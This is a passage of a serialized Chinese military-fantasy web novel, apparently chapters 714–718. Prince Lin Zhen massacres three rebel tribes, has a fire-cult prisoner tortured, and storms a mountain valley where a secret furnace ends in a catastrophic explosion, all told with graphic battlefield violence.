“张俪夫人手下的掌柜从南楚传来密信!”萧寒舟压低声音,“顾北辰有异动!” 林臻眼神瞬间锐利如刀! “据潜伏在金陵的夜枭密报:顾北辰半月前,秘密接见了一队来自西域的使者,使者身份神秘,疑似与拜火教有关!密谈内容不详,但事后,顾北辰调集了大批工匠和物资,秘密送往其老巢黑水泽。同时,南楚境内,近期有数批精铁、硫磺、硝石等军需物资,被以商队名义,秘密运往北燕方向,路线隐秘,似有内应接应。” “西域?拜火教?黑水泽?”林臻眉头紧锁,手指在案几上轻轻敲击,“精铁、硫磺、硝石运往北燕,” 他眼中寒光一闪,“查,给本世子查清楚这批物资的最终目的地,接应者是谁,顾北辰……几年不见,你终于有点动作了。” “是!弟子已令‘夜枭’全力追查!”萧寒舟应道,随即又补充, “另外我们在清理黑石堡赫连铁树密室时,发现一封未及销毁的密信,信是用北燕密文书写,已破译!” 他将另一张纸呈上。 林臻接过,目光扫过。信的内容很简单:“铁树兄:货已收到,甚好。北燕风大,保重。待价而沽,静候佳音。知名不具。” “知名不具?”林臻眼中寒光爆射。 这字迹,这语气,他太熟悉了。 正是顾北辰的手笔。 “货已收到?什么货?何时收到?从何而来?!” “时间大约在半月前,来源尚未查明,但结合南楚的密报……” 萧寒舟声音沉重,“恐怕顾北辰早已将触手伸入北燕,赫连铁树或许只是他众多棋子中的一枚!甚至那八位托词不至的酋长背后……” 林臻猛地攥紧了手中的密信!纸张在他掌心瞬间化为齑粉! “顾北辰……呵,你还真是胆子大了。”他眼中燃烧着冰冷的怒火,“北燕的惊雷看来还远未结束!” ...... 凛冽的朔风,如同亿万头来自极北冰原的饥饿凶兽,裹挟着刺骨的寒意、细碎如盐粒的雪沫、以及粗粝如砂纸的沙尘,在广袤无垠的北燕雪原上疯狂肆虐、咆哮! 风声凄厉,时而如万鬼同嚎,时而如巨兽磨牙,撕扯着天地间最后一丝暖意。 天空是沉重的铅灰色,厚重低垂的云层仿佛凝固的铅块,死死压在大地之上,不见一丝阳光,只有无尽的、令人窒息的阴霾。 然而,在这片死寂的荒原上,三股由钢铁、怒火与复仇意志凝聚而成的洪流,正如同三支离弦的利箭,撕裂风雪,分别射向白鹿部、苍鹰部、火狐部的核心草场! 林臻亲率一路大军,目标直指位于阴山南麓、水草最为丰美的白鹿部核心牧场——白水川。 他并未乘坐马车,而是身披玄黑蟠龙鳞甲,外罩猩红披风,策马行在军阵最前方。 他目光如电,穿透弥漫的风雪,直视前方。 玄色面甲下,只露出冷峻的嘴唇和下颌,散发着令人心悸的威严与肃杀。 身后,五百金吾卫重甲骑兵如同沉默的钢铁壁垒,三百神机营火枪兵队列严整,一千北地边军精锐如同出闸的猛虎,杀气腾腾。 玄色蟠龙大纛在狂风中猎猎作响,上书一个斗大的“林”字。 “报——”一名金吾卫斥候顶风冒雪,疾驰而来,滚鞍下马,单膝跪地,声音带着风雪的嘶哑, “禀殿下,前方三十里白水川在望,白鹿部毫无防备,牛羊散落草场,毡房炊烟袅袅,白音仓措的王帐……就在河湾高地,守卫松懈。” “毫无防备?”林臻嘴角勾起一抹冰冷的弧度,眼中寒光一闪, “好一个突发恶疾,好一个昏迷不醒,传令全军加速,神机营前突包围王帐,金吾卫随我直取中军,边军两翼包抄封锁所有出口,一只羊也不许放跑。” “是!”命令如同疾风般传递。 大军瞬间提速,沉重的马蹄声、脚步声、甲胄碰撞声汇成一股震耳欲聋的声浪,如同决堤的洪流,向着白水川席卷而去。 白水川的景象,与斥候所言分毫不差。 广袤的草场覆盖着厚厚的积雪,稀疏的枯草在寒风中摇曳。 成群的牛羊如同散落的珍珠,在牧人的驱赶下悠闲地啃食着雪下的草根。 大大小小的白色毡房如同蘑菇般点缀在河湾两岸,袅袅炊烟升起,一派宁静祥和的景象。 白音仓措那顶巨大华丽、装饰着白鹿角和彩色流苏的王帐,如同鹤立鸡群般矗立在河湾高地之上,周围守卫寥寥无几,显然毫无戒备。 “神机营,列阵,封锁王帐。”橙萱清脆的声音响起,令旗挥动。 “砰!砰!砰!砰——!!”神机营火枪手迅速列阵,三段轮射。 密集的铅弹如同暴雨般泼洒向王帐周围的守卫和试图集结的牧民战士。 “噗噗噗——”猝不及防之下,守卫和牧民如同割草般倒下,惨叫声、惊呼声瞬间打破了草原的宁静! “金吾卫冲锋,目标王帐,生擒白音仓措。”林臻长刀出鞘,刀锋直指高地。 “杀——” 毛梦极发出一声如同厉鬼般的嘶吼,一马当先,五百金吾卫重甲骑兵如同黑色的钢铁洪流,瞬间启动,沉重的马蹄踏碎积雪,扬起漫天雪沫,如同山崩海啸般,向着王帐碾压而去。 “边军两翼包抄,杀!”边军将领怒吼。 “杀啊——”一千北地边军如同出闸的猛虎,挥舞着兵器,从两侧包抄而上,如同巨大的钳子,狠狠夹向混乱的部落营地。 第715章 尝尝凌迟的滋味 整个白水川瞬间陷入一片混乱和血腥,牛羊惊散,牧民哭喊奔逃,仓促集结的部落战士在神机营的弹雨和金吾卫的铁蹄面前,如同纸糊般不堪一击。 惨叫声、兵器碰撞声、战马嘶鸣声、房屋倒塌声交织在一起,火光冲天,浓烟滚滚,鲜血染红了洁白的雪地。 林臻策马冲上高地,金吾卫如同砍瓜切菜般清除了王帐外围的零星抵抗。 他勒住战马,看着眼前那顶巨大的王帐。 帐帘猛地掀开,一个穿着华丽白鹿皮袍、身材肥胖、脸色惨白如纸、浑身抖如筛糠的中年男子,在几名同样惊恐的侍卫簇拥下,踉跄着跑了出来。 正是白鹿部酋长——白音仓措。 “饶……饶命啊,世子殿下饶命啊!”白音仓措看到如同魔神般屹立在马上的林臻,吓得魂飞魄散, “噗通”一声跪倒在地,涕泪横流,拼命磕头,“小人……小人知错了,小人该死,小人该死,求殿下开恩,饶小人一命,饶我族人一命啊!” “知错?”林臻声音冰冷,如同万载寒冰,“晚了。” 他长刀一挥。 “噗嗤,”一道寒光闪过,白音仓措那颗肥胖的头颅冲天而起,鲜血如同喷泉般从断颈处喷涌而出,无头的尸体摇晃了几下,重重栽倒在雪地上,鲜血瞬间染红了一大片雪地。 “酋长!!”侍卫们发出惊恐绝望的惨叫。 “杀,一个不留。”林臻声音冷酷无情。 金吾卫如同虎入羊群,瞬间将几名侍卫砍翻在地,王帐内外,血流成河。 几乎在同一时间,苍鹰部、火狐部的覆灭消息也由快马飞报传来。 毛梦极率军突袭苍鹰部鹰愁涧,遭遇微弱抵抗,酋长巴特尔坠马摔断腿后,被其亲信抬上马背试图逃跑,被毛梦极一箭穿心,枭首示众,部落主力被击溃。 边军李将军攻入火狐部赤焰谷,酋长赤那母丧守孝未及披甲,率亲卫负隅顽抗,被乱箭射杀,其部众大部投降。 三部酋长,尽数伏诛,三部主力,土崩瓦解,如同三颗熟透的烂果子,在林臻的雷霆铁拳下,瞬间被碾得粉碎。 ??...... 三日后,燕京城门。原本悬挂赫连铁树首级的铁矛旁,又新增了三根同样粗长的铁矛。 矛尖之上,白音仓措、巴特尔、赤那三颗血淋淋的头颅高高挑起,与赫连铁树那颗怒目圆睁的头颅一起,在凛冽的寒风中微微晃动。 凝固的血污、扭曲的面容、空洞的眼神……构成了一幅令人毛骨悚然的恐怖景象。 浓烈的血腥味和死亡气息弥漫在城门上空,如同实质的阴云,压得每一个进出城门的人喘不过气,无声的威慑,比任何言语都更加震撼人心。 行辕正殿内,气氛却比城门更加凝重肃杀。 林臻端坐主位,面沉如水。 萧寒舟、毛梦极、橙萱侍立两侧。 殿中央,跪着几名被反绑双手、衣衫褴褛、浑身伤痕累累的俘虏。 他们是毛梦极在清剿苍鹰部残余势力时,从一处隐秘山谷中抓获的。 这些人并非苍鹰部战士,而是行踪诡秘、身着奇异黑袍、佩戴火焰纹章的外来者! “说,你们是什么人?为何藏匿在苍鹰部?与巴特尔是何关系?!” 毛梦极枯瘦的手指捏着一柄寒光闪闪的匕首,在俘虏面前晃动着,声音嘶哑而阴冷,如同毒蛇吐信。 俘虏们眼神闪烁,带着一种狂热的、近乎癫狂的执拗,死死咬着嘴唇,一言不发。 “哼!骨头挺硬!”毛梦极眼中凶光一闪,匕首猛地刺入一名俘虏的大腿。 “啊——”俘虏发出凄厉的惨叫,鲜血瞬间涌出。 “说!否则……老子让你尝尝凌迟的滋味!”毛梦极的声音如同来自九幽地狱。 俘虏疼得浑身抽搐,脸色惨白,却依旧死死咬着牙,眼中闪烁着疯狂的光芒。 “毛将军,且慢。”林臻缓缓开口,声音平静无波。他走下台阶,来到那名受伤的俘虏面前,蹲下身,目光如同冰冷的探针,刺入对方的瞳孔深处。 “拜火教?”他缓缓吐出三个字,声音不高,却如同惊雷在俘虏耳边炸响。 俘虏身体猛地一僵,眼中闪过一丝难以掩饰的惊骇。 “看来……本世子猜对了。”林臻嘴角勾起一抹冰冷的弧度,“顾北辰派你们来的?他在北燕想干什么?” 俘虏眼中惊骇更甚,嘴唇哆嗦着,却依旧不肯开口。 “不说?”林臻站起身,声音转冷,“毛梦极,把他拖下去,剜眼割舌,断四肢,挂到城门上,让他看着自己的血流干。” “是!”毛梦极狞笑着,一把抓起俘虏! “不!不!我说!我说!”俘虏终于崩溃了!死亡的恐惧压倒了狂热的信仰! 他发出杀猪般的嚎叫,“是……是圣教,拜火圣教,是顾北辰大人派派我们来的,在阴山深处断魂谷有……有……” “有什么?!”林臻厉声喝问! “有……有焚天炉!”俘虏声音颤抖,充满了恐惧,“圣教……圣教的圣地,顾大人让我们协助巴特尔看守炼制……炼制焚天火!” “焚天炉?焚天火?”林臻眉头紧锁,“那是什么东西?!” “是……是一种神火!”俘虏眼中再次闪过一丝狂热,“能…能焚尽一切!钢铁,岩石,血肉,都能化为灰烬,顾大人说那是是圣教赐予的力量,是……是未来战争的主宰!” 搞了半天,顾北辰居然加入拜火教了? 这玩意在大乾被彻底清除了出去,没成想居然又在北燕、南楚死灰复燃。 也罢,既然出现了,那就继续屠杀吧。 只要是拜火教的,见一个杀一个。 “炼制方法?!”林臻追问。 “不……不知道!只有圣教的长老和顾大人派来的使者才知道,我们……我们只是负责守卫,搬运矿石……”俘虏声音越来越低,充满了恐惧。 “矿石?什么矿石?” “一种黑色的石头,很重……很硬……燃烧起来很热……”俘虏语无伦次。 “煤矿?!”林臻眼中精光爆射,瞬间联想到楚惜灵在黑石山发现的露天煤矿。 “断魂谷的具体位置?!” “在鹰愁涧西北百里的深谷……有重兵把守……还有圣教的护法……”俘虏说完,如同虚脱般瘫软在地。 “焚天炉……焚天火……煤矿……”林臻眼中寒光闪烁,心中掀起惊涛骇浪。 顾北辰,拜火教,他们竟然在北燕腹地,秘密建造了如此恐怖的武器工坊。 利用北燕丰富的煤矿资源,炼制能焚尽一切的焚天火。 那也不对啊,焚天火再牛逼,还能有后世的微型太阳厉害?不过是锻造出来的铁器更坚硬些罢了,和自己的燧发枪没法比。 既然知道了,那就干掉,不给他机会。 “毛梦极!”林臻猛地转身,声音如同金铁交鸣。 “末将在!” “即刻点兵,抽调金吾卫最精锐的悍卒,神机营全部火枪手,再调北地边军善于山地作战的精锐组成荡寇营,由你统领。” “是!” “萧寒舟!” “弟子在!” “飞鸽传书楚惜灵,令她火速带领工部精通矿冶、火器、化学的精英,携带所有勘测器械,日夜兼程,赶赴断魂谷。” “是!” “橙萱!” “在!” “传令全军进入一级战备,封锁所有通往阴山深处的道路,严查一切可疑人员,凡有拜火教纹章者,格杀勿论。” “是!” “传令各部酋长!”林臻声音陡然拔高,带着不容置疑的威严,“令其立刻抽调本部最精锐的战士,由酋长亲自率领,三日内赶赴燕京集结,随本世子进剿断魂谷荡平焚天炉,若有延误……视同谋逆,灭族悬首!” “是!”众人轰然应诺,殿内杀气冲天。 林臻大步走到殿外,目光投向西北方向那连绵起伏、如同巨龙般蛰伏在风雪中的阴山山脉! 寒风卷起他的猩红披风,猎猎作响! 他的眼神锐利如刀,仿佛要穿透重重山峦,看到那隐藏在深谷中的恐怖熔炉! “顾北辰……”林臻的声音低沉而冰冷,如同来自九幽深渊,“你想玩火?本世子就让你玩火自焚!哼!焚天炉?本世子要让它变成你的焚尸炉!” ?? 第716章 令人心悸的工业力量 七日后,阴山深处,断魂谷外。 风雪更急! 如同亿万把冰刀,疯狂地切割着裸露的岩石和冻土。 天空阴沉得如同锅底,铅灰色的云层低垂,仿佛触手可及。 山谷两侧,是高达千仞、如同刀劈斧削般的陡峭悬崖,覆盖着厚厚的积雪和冰层,反射着惨淡的微光,散发出令人心悸的冰冷与死寂。 谷口狭窄,仅容三骑并行,如同巨兽张开的獠牙大口,散发着阴森恐怖的气息。 谷内,寒风呼啸,卷起漫天雪沫,能见度极低,如同弥漫着浓稠的白色迷雾。 林臻亲率“荡寇营”主力,如同一条沉默的钢铁巨龙,潜伏在谷口外一片被积雪覆盖的松林之中。 他身披玄黑重甲,外罩白色雪地伪装斗篷,目光锐利如鹰隼,透过风雪,死死盯着那幽深莫测的谷口。 毛梦极、橙萱、萧寒舟及数名金吾卫悍将肃立身后。 楚惜灵一身靛蓝工装,外罩白色斗篷,脸上带着防寒面罩,只露出一双清冷而专注的眼眸,手中拿着一个精巧的罗盘和温度计,正仔细地观察着谷内风向和温度变化。 “殿下,”一名浑身覆盖着白色伪装、如同雪人般的斥候队长(代号“雪狼”)匍匐而来,声音压得极低,带着风雪的嘶哑, “谷口有暗哨,两侧崖壁上有隐蔽的箭垛,谷内有重兵把守,至少千人,装备精良,还有……还有穿着黑袍的怪人,行踪诡秘,谷内深处有火光,很大的火光,还有很怪的声音,像……像地龙翻身,还有一股硫磺和焦糊的怪味。” “黑袍怪人,拜火教护法!”毛梦极眼中凶光一闪,舔了舔干裂的嘴唇,如同嗜血的饿狼。 “火光……怪声……硫磺味……”楚惜灵眉头微蹙,清冷的眼眸中闪过一丝凝重,“夫君,这与我推测的焚天炉特征吻合。那怪声很可能是大型鼓风机或某种机械运转的声音,硫磺味可能是炼制过程中的副产物,谷内温度明显高于谷外,有热源,很大。” “重兵把守……暗哨箭垛……”林臻目光沉凝,手指在冰冷的刀柄上轻轻摩挲,“硬闯伤亡太大,毛梦极。” “末将在!” “带‘猎隼营’(精锐斥候)清除暗哨,摸清箭垛位置,为大军开路。” “得令!”毛梦极眼中闪过一丝兴奋,如同鬼魅般消失在风雪中。 很快,数十名同样身披白色伪装、如同幽灵般的“猎隼营”斥候,悄无声息地散开,如同融化的雪水般,向着谷口两侧的悬崖峭壁和雪窝潜行而去。 时间一分一秒过去。 风雪依旧肆虐。谷口死寂无声,只有寒风凄厉的呼啸。 突然! “嗖!嗖!嗖!”几声极其轻微的弓弦震动声响起。 紧接着,谷口两侧的雪窝和崖壁缝隙中,传来几声压抑的闷哼和重物倒地的声音,一切又归于沉寂! 片刻后,毛梦极的身影再次出现,对着林臻的方向做了一个“清除完毕”的手势。 “神机营,火枪手,目标崖壁箭垛,三轮齐射,压制。”林臻低喝。 “砰!砰!砰!砰——” 早已严阵以待的神机营火枪手迅速列阵,密集的铅弹如同暴雨般泼洒向两侧崖壁上那些被标记出来的隐蔽箭垛位置。 “噗噗噗——”碎石飞溅,木屑纷飞,惨叫声隐约传来,崖壁上的反击瞬间被压制。 “金吾卫重甲步兵,盾阵推进。”林臻长刀前指。 “吼——”数百名金吾卫重甲步兵发出低沉的怒吼。 他们身披厚重的玄黑鱼鳞甲,手持巨大的塔盾和锋利的战斧,排成紧密的盾墙,如同移动的钢铁堡垒,顶着风雪,向着谷口缓缓推进,沉重的脚步声在谷口回荡。 “边军,弓弩手,抛射,掩护。”边军将领怒吼。 “嗖嗖嗖——”密集的箭矢如同飞蝗般越过盾阵,射向谷内深处。 “敌袭——”谷内终于响起凄厉的警报声,紧接着,喊杀声震天,无数穿着皮袄、手持弯刀弓箭的苍鹰部残兵和穿着黑袍、手持奇形兵刃(如弯钩、链锤)的拜火教徒,如同潮水般从谷内涌出。 试图阻挡金吾卫的推进。 “杀——”金吾卫重甲步兵发出震天的咆哮,盾墙猛地加速,如同钢铁洪流般狠狠撞入敌阵。 “轰——”沉闷的撞击声如同惊雷,人仰马翻,血肉横飞,沉重的塔盾撞碎了敌人的骨骼,锋利的战斧劈开了敌人的头颅,金吾卫如同虎入羊群,肆意砍杀。 所过之处,尸横遍野,血流成河。 “神机营,自由射击,点杀黑袍人。”橙萱清脆的声音响起。 “砰!砰!砰!砰——”神机营火枪手精准点射,那些穿着黑袍、身手诡异、试图释放邪术或毒烟的拜火教徒,纷纷中弹倒地,惨叫声不绝于耳。 林臻在亲卫的簇拥下,策马冲入谷口。 眼前的景象让他瞳孔骤然收缩。 谷内空间远比想象中巨大,两侧悬崖高耸入云,谷底却异常宽阔平坦。 风雪在这里似乎小了许多,空气中弥漫着浓烈的硫磺、焦糊和一种难以言喻的、如同烧灼金属般的刺鼻气味。 温度明显升高,积雪融化,露出黑色的冻土和岩石。 谷内深处,一座巨大的、如同小山般的建筑矗立在那里。 那正是——焚天炉! 炉体由巨大的、黝黑如墨的火山岩砌成,高达数十丈。 形状如同一个倒扣的巨碗,又像一个巨大的蜂巢。 炉壁上布满了密密麻麻的孔洞和粗大的金属管道,如同巨兽的血管和呼吸孔。 炉顶,一根巨大的、由精铁铸造的烟囱直插云霄,此刻正喷吐着滚滚浓烟。 那浓烟并非寻常的灰黑色,而是诡异的暗红色,如同凝固的血液,带着刺鼻的硫磺味和灼人的热浪,烟柱冲入铅灰色的云层,将天空都染上了一层不祥的暗红。 炉体下方,巨大的炉门紧闭着,由厚重的精铁铸造,表面覆盖着厚厚的耐火泥,此刻正散发着灼人的高温。 炉门周围,连接着无数粗大的金属管道和复杂的齿轮、连杆机构,数十名赤裸上身、肌肉虬结、脸上涂抹着诡异油彩的壮汉,正喊着号子,推动着巨大的绞盘。 绞盘带动着粗大的铁链,发出“嘎吱嘎吱”令人牙酸的巨响,显然是在控制炉门或内部的某种装置。 炉体四周,分布着巨大的矿石堆、堆积如山的木炭、以及盛放着各种颜色诡异粉末的陶罐。 更远处,是简陋的工棚、冶炼炉、铸造场。 无数衣衫褴褛、如同行尸走肉般的奴隶,在皮鞭的驱赶下,麻木地搬运着矿石、添着燃料、操作着工具。 整个场景,如同地狱的熔炉。 充满了野蛮、血腥和一种令人心悸的工业力量。 第717章 爆炸 “焚天炉……”林臻看着那喷吐着暗红烟柱的恐怖巨炉,感受着空气中弥漫的灼热和硫磺气息,心中震撼无以复加,这绝非简单的冶炼炉,这是顾北辰用来炼制毁灭性武器的恐怖工坊, “保护殿下,”橙萱厉喝,神机营火枪手迅速在林臻周围布防, “轰——”就在这时,焚天炉巨大的炉门猛地打开了一道缝隙,一股难以形容的、如同熔岩般炽热的、金红色的粘稠液体,如同瀑布般倾泻而出,流入下方一个巨大的、同样由精铁铸造的模具之中, “滋啦——”刺耳的汽化声响起,白烟冲天,灼热的气浪如同海啸般席卷而来,即使隔着数百步,林臻依旧感到一股灼人的热浪扑面而来,皮肤如同被针扎般刺痛, “焚天火?”楚惜灵失声惊呼,清冷的眼眸中充满了震惊和一丝恐惧,她从未见过如此高温、如此粘稠、如同液态火焰般的金属熔液,这绝非寻常铁水, “吼——”一声如同野兽般的咆哮从炉体后方响起,一个身材异常高大魁梧、如同铁塔般的巨汉,身披残破的黑色狼皮大氅,手持一柄门板般巨大的开山斧,从浓烟中冲出,他豹头环眼,满脸横肉,脸上布满了狰狞的伤疤,眼神疯狂而怨毒,正是赫连铁树之子——赫连豹, 他身边,还跟着数名身穿黑袍、脸上戴着狰狞火焰面具、手持奇形兵刃的拜火教护法, “林臻小儿,还我父命来——”赫连豹双目赤红,如同疯魔,巨大的开山斧带着撕裂空气的尖啸,直扑林臻. “保护殿下,”毛梦极眼中凶光爆射,枯瘦的身影如同鬼魅般迎上,长刀化作一道凄厉的寒光,直刺赫连豹咽喉, “杀——”拜火教护法同时出手,一人双手结印,口中念念有词,一团诡异的绿色火焰凭空出现,射向林臻,一人挥舞着带刺的链锤,砸向橙萱,一人如同鬼影般扑向楚惜灵, “妖术?”林臻眼神一凝,腰间蟠龙金剑瞬间出鞘,剑光如电,精准地劈向那团绿色火焰, “砰,”绿色火焰被剑光劈散,化作点点绿芒消散,但一股阴冷刺骨的寒意却瞬间侵入林臻手臂,让他气血微微一滞, “殿下小心,”橙萱娇叱一声,短剑化作一片光幕,挡住砸来的链锤,火星四溅, 楚惜灵则被两名金吾卫亲卫死死护住,险险避开了黑袍人的扑击, 谷内瞬间陷入混战,金吾卫重步兵与苍鹰部残兵、拜火教徒绞杀在一起,神机营火枪手与隐藏在暗处的拜火教弓弩手对射,喊杀声、兵器碰撞声、火枪轰鸣声、惨叫声、以及焚天炉那巨大的轰鸣声……汇成一股地狱般的交响曲, “轰隆隆——”焚天炉再次发出巨大的轰鸣,炉门开得更大了,更多的金红色熔液倾泻而出,整个山谷的温度急剧升高,热浪扭曲了空气,那些靠近炉体的奴隶,甚至来不及惨叫,就被恐怖的高温瞬间汽化,连灰烬都没有留下, “阻止他们,摧毁焚天炉”林臻厉声喝道,他知道,绝不能让这恐怖的武器继续运转, “末将去,”毛梦极眼中凶光爆射,他猛地荡开赫连豹的巨斧,枯瘦的身影如同鬼魅般,避开几名拜火教徒的拦截,直扑焚天炉下方那巨大的绞盘, “拦住他,”一名拜火教护法厉声喝道,双手结印更快,口中咒语急促,一道无形的力场瞬间笼罩毛梦极, 毛梦极只觉身体一沉,如同陷入泥沼,动作瞬间迟滞, “死——”赫连豹抓住机会,巨大的开山斧带着雷霆万钧之势,狠狠劈向毛梦极后心, “毛将军小心”橙萱惊呼,想要救援已来不及, 就在这千钧一发之际, “砰,砰,砰,”三声清脆的枪响几乎同时响起,三颗灼热的铅弹精准地射入赫连豹的眉心、咽喉和心脏, 赫连豹庞大的身躯猛地一僵,眼中充满了难以置信的惊愕和怨毒,巨大的开山斧无力地垂下,他张了张嘴,似乎想说什么,却只喷出一口混合着内脏碎块的污血,庞大的身躯如同推金山倒玉柱般,轰然栽倒在滚烫的冻土上,鲜血瞬间被高温蒸干,发出“滋滋”的声响, 是林臻,他手中蟠龙金剑已然归鞘,取而代之的是一柄造型精巧、枪管修长的燧发短铳,枪口还冒着袅袅青烟,眼神冰冷如万载寒冰, “杀,”林臻的声音如同死神的宣判, “杀——”金吾卫士气大振,攻势更加凶猛, 毛梦极也挣脱了力场束缚,眼中凶光更盛,长刀如同毒蛇般刺入那名拜火教护法的胸膛,鲜血喷溅, 失去赫连豹和护法,拜火教徒和苍鹰部残兵士气崩溃,开始溃败, “快,摧毁绞盘,关闭炉门,”楚惜灵焦急地喊道, 毛梦极冲到巨大的绞盘前,长刀狠狠劈向粗大的铁链, “铛——,”火星四溅,铁链只被砍出一道浅浅的白痕, “没用的,那是精铁链,”楚惜灵喊道,“找机关,控制杆,” 毛梦极目光一扫,发现绞盘旁有一个巨大的、由精铁铸造的、连接着无数齿轮的操纵杆,他猛地扑过去,用尽全身力气,狠狠扳动操纵杆, “嘎吱——嘎吱——,”巨大的齿轮发出刺耳的摩擦声,缓缓转动, “轰隆隆——,”焚天炉巨大的炉门,开始缓缓闭合,倾泻而出的金红色熔液逐渐减少, “成功了,”橙萱惊喜道, 然而,就在这时, “嗡——”焚天炉内部突然发出一声沉闷至极、如同洪荒巨兽苏醒般的巨大轰鸣,整个炉体剧烈地颤抖起来,炉壁上的孔洞中,猛地喷出炽热的火焰和浓烟,温度急剧飙升,地面都在震动, “不好,炉内压力失衡,要爆炸了,”楚惜灵脸色剧变,失声惊呼, “撤,快撤,”林臻厉声喝道, “轰——” 一声惊天动地的巨响,如同九天惊雷炸响,整个山谷都在剧烈摇晃,焚天炉巨大的炉顶,猛地炸开一个巨大的缺口,炽热的金红色熔液、燃烧的煤炭、碎裂的耐火砖……如同火山喷发般冲天而起,化作漫天火雨,带着毁灭一切的高温,向着谷内疯狂倾泻而下, “啊——”惨叫声瞬间响成一片,无数来不及躲避的士兵、奴隶、拜火教徒,被滚烫的熔液和火焰吞噬,瞬间化为焦炭,整个断魂谷,瞬间变成了真正的焚尸炉,地狱熔炉, 林臻在亲卫的拼死掩护下,策马狂奔,灼热的气浪和飞溅的熔岩碎片擦身而过,他回头望去,只见那巨大的焚天炉在烈焰中扭曲、坍塌,喷吐着最后的、如同垂死巨兽般的浓烟和火焰,赫连豹那庞大的尸体,早已被火海吞噬,顾北辰精心打造的恐怖武器,在它第一次展露狰狞之前,便在他手中化为了废墟。 第718章 这不是普通的熔炉爆炸 “轰——,,,” 一声如同开天辟地般的恐怖巨响, 震碎了阴山的死寂, 撕裂了铅灰色的苍穹, 整个断魂谷如同被一只无形的洪荒巨手狠狠攥住,猛烈地摇晃、扭曲、呻吟, 大地在脚下疯狂地颤抖、龟裂, 巨大的岩石从两侧千仞悬崖上轰然滚落,如同末日陨石,砸向谷底, 烟尘冲天而起,混合着漫天飞雪,形成一片遮天蔽日的灰白色混沌, 焚天炉, 那座如同小山般矗立、喷吐着不祥暗红烟柱的恐怖巨炉,此刻如同被点燃的火药桶,从内部彻底炸裂, 高达数十丈的炉顶被一股无法想象的狂暴力量瞬间掀飞, 化作无数燃烧着烈焰的巨大碎片,如同流星火雨般,带着凄厉的尖啸,向着四面八方疯狂激射, 炽热的金红色熔液,如同决堤的岩浆洪流,从炸开的巨大缺口中喷涌而出, 不再是可控的倾泻,而是毁灭性的爆发, 滚烫的、粘稠的、散发着刺鼻硫磺恶臭和恐怖高温的金属熔液,如同愤怒的火焰巨龙,咆哮着、翻滚着、吞噬着沿途的一切, “滋啦——” “啊——” 凄厉到不似人声的惨嚎瞬间响彻山谷, 那是被滚烫熔液瞬间包裹、汽化、连骨头渣子都不剩的绝望悲鸣, 距离炉体最近的奴隶、拜火教徒、甚至来不及撤退的苍鹰部残兵,如同投入沸水的雪片,连挣扎都来不及,便在瞬间化作一缕青烟和一滩焦黑的印记, 稍远一些的,被飞溅的熔液或燃烧的碎片击中,瞬间化作燃烧的火人,发出撕心裂肺的惨叫,在雪地上疯狂翻滚,最终化为焦炭, 空气中弥漫着浓烈到令人作呕的皮肉焦糊味、硫磺味、血腥味和一种金属被烧熔的刺鼻气息, 热浪如同无形的海啸,席卷了整个山谷, 积雪瞬间融化、蒸发, 冻土被烤得龟裂、冒烟,岩石发出“噼啪”的爆裂声, 整个断魂谷,瞬间变成了一个巨大的、燃烧着地狱之火的熔炉, 一个活生生的、吞噬生命的焚尸场, “保护殿下——”橙萱凄厉的尖叫几乎被爆炸的巨响淹没, 她猛地扑向林臻,用身体将他撞向一块巨大的、刚刚滚落下来的岩石背后, “轰隆,”一块燃烧着烈焰、足有磨盘大小的炉体碎片,带着凄厉的呼啸,狠狠砸在他们刚才站立的位置, 碎石飞溅, 火星四射, 灼热的气浪几乎将人掀翻, “噗,”橙萱闷哼一声,后背被一块飞溅的碎石击中,嘴角溢出一丝鲜血, “橙萱,”林臻一把扶住她,眼中闪过一丝焦急, “奴婢没事,”橙萱咬牙站直,抹去嘴角血迹,眼神依旧锐利如刀,“殿下快走,这里太危险,” “毛梦极,楚惜灵,”林臻厉声高呼,目光在混乱的烟尘火海中搜寻, “末将在,”毛梦极枯瘦的身影如同鬼魅般从一片燃烧的废墟后闪出,脸上沾满烟灰和血迹,眼神却依旧凶戾,“他娘的,差点被烤熟了,” “楚大人,”橙萱眼尖,指着不远处一处相对完好的巨石凹槽。 楚惜灵被两名金吾卫亲卫死死护在身下,她脸色苍白,发髻散乱,靛蓝工装上沾满了尘土和火星,但那双清冷的眼眸却异常明亮,正死死盯着那仍在喷吐烈焰和浓烟的焚天炉废墟,口中念念有词:“炉内压力失衡……核心区域超高温……爆炸当量……远超预期……这……这不是普通的熔炉爆炸……有……有东西被点燃了……” “全军听令,”林臻的声音如同惊雷,穿透混乱的爆炸声和惨嚎声,带着不容置疑的威严和决断,“金吾卫盾阵掩护向谷口撤退,神机营火枪手殿后,点杀任何靠近的活物,边军救助伤员,能动的带上,重伤者……就地安置,” 他声音微微一顿,带着一丝不易察觉的沉重,“动作要快,谷内随时可能再次塌陷,” “是,”命令如同定海神针,瞬间稳住了混乱的军心, “盾阵,起,”金吾卫重甲步兵发出低沉的怒吼, 巨大的塔盾再次竖起, 组成一道移动的钢铁城墙, 掩护着队伍向谷口撤退, “砰,砰,砰,砰——”神机营火枪手迅速列阵,三段轮射, 密集的铅弹如同死神的镰刀,收割着那些从火海中冲出、试图追击的零星拜火教徒和苍鹰部残兵, “快,扶起来,走,”边军士兵冒着滚烫的气浪和飞溅的碎石,拼命拖拽着受伤的袍泽,向谷口撤退, 惨叫声、呼喊声、爆炸声、岩石滚落声……汇成一股地狱般的交响曲, 撤退的过程惨烈而艰难。不断有巨大的岩石从悬崖滚落,砸在人群中,带起一片血雨腥风, 炽热的熔液如同跗骨之蛆,在谷底流淌、蔓延,吞噬着一切, 浓烟滚滚,遮天蔽日,呛得人睁不开眼,呼吸困难, 灼热的气浪烤得人皮肤生疼,甲胄滚烫, 不断有士兵被飞溅的熔液或燃烧的碎片击中,惨叫着倒下,瞬间被火海吞噬, 整个山谷,如同炼狱的入口, 当林臻在亲卫的拼死护卫下,终于冲出断魂谷那如同巨兽獠牙般的谷口时,回望身后,只见整个山谷已被浓烟和烈焰彻底吞噬, 暗红色的火光冲天而起,将铅灰色的天空映照得一片血红, 巨大的烟柱如同连接天地的魔柱,翻滚着、扭曲着,带着焚天炉的残骸和无数生命的灰烬,直冲云霄, 空气中弥漫着刺鼻的焦糊味和死亡的气息, 断魂谷,名副其实,已成绝地, “清点人数,救治伤员,”林臻的声音带着一丝沙哑和疲惫,却依旧沉稳。 他翻身下马,玄色蟠龙甲上沾满了烟尘和暗红色的血污(不知是自己的还是敌人的),猩红披风被烧焦了一角,在寒风中猎猎作响。 他目光扫过谷外惊魂未定、狼狈不堪的残军,眼中闪过一丝痛惜。 